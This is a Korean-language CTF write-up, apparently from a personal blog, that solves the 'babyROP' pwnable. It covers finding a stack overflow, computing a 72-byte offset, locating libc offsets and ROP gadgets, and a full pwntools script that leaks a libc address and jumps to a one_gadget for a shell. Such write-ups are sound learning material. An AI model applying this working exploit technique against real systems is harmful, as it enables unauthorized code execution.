babyROP
System/PWNABLE

babyROP

728x90

checksec

보호기법 확인

64bit binary

NXbit 걸려있음

ASLR

IDA로 pseudo code 확인

main()함수의 pseudo code

buf의 크기는 40인데 read함수를 통해 0x300만큼 입력받게 함 >> OVERFLOW 취약성 발생!

 

실행

buf에 입력을 하고(What is your name?) Hello, 뒤에 buf에 입력한 내용이 출력된다.

함수 리스트

 

Debugging

main함수 disassemble + breakpoint 설정
check overflow - (1)

rsp에 저장된 값(0x7fffffffde18)이 가리키는 값 : 0x7ffff7a2d830(=return address) 

check overflow - (2)

rsi에 저장된 값: 0x7fffffffddd0 (=buf의 시작주소)

offset

buf에 72byte 채워주면 return address를 덮어 쓸 수 있을 것

 

libc에서 "/bin/sh"문자열 찾기

프로세스 매핑 정보 확인

libc = 0x7ffff7a0d000

"/bin/sh" - libc offset =  0x18cd57

 

offset 구하기

system - libcbase offset = 0x45390

read - libcbase offset = 0xf7250

 

gadget 찾기

pop rdx ; pop rsi ; ret ; 주소 = 0x001150c9

pop rdi ; 주소 = 0x4006c3

pop rsi ; 주소 = 0x4006c1

 

onegadget

libc - gadget offset = 0x45216

Exploit

from pwn import *
from struct import *
elf = ELF('./babyROP')
libc = elf.libc
p=process('./babyROP')
#context.log_level = 'debug'

read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

sys_offset = 0x45390
read_offset = 0xf7250
binsh_offset = 0x18cd57

pop_rdi = 0x4006c3
onegadget = 0x45216

main_add = elf.symbols['main']

pl = "A"*72
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(main_add) #return address /start again

p.recvuntil("?")
p.send(pl)

read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libcbase = read_add - read_offset
onegadget += libcbase
pl = "A"*72
pl += p64(onegadget)

p.recvuntil("?")
p.send(pl)
p.interactive()

처음 payload를 전달할 때는 return address를 main함수 시작주소로 해서 leak을 수행한 후에 다시 main함수를 시작할 수 있도록 한다.

!성공!

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

BaskinRobins31  (0) 2020.07.12
r0pbaby  (0) 2020.07.12
simpleROP  (0) 2020.06.14
shot  (0) 2020.06.01
simpleRTL  (0) 2020.05.30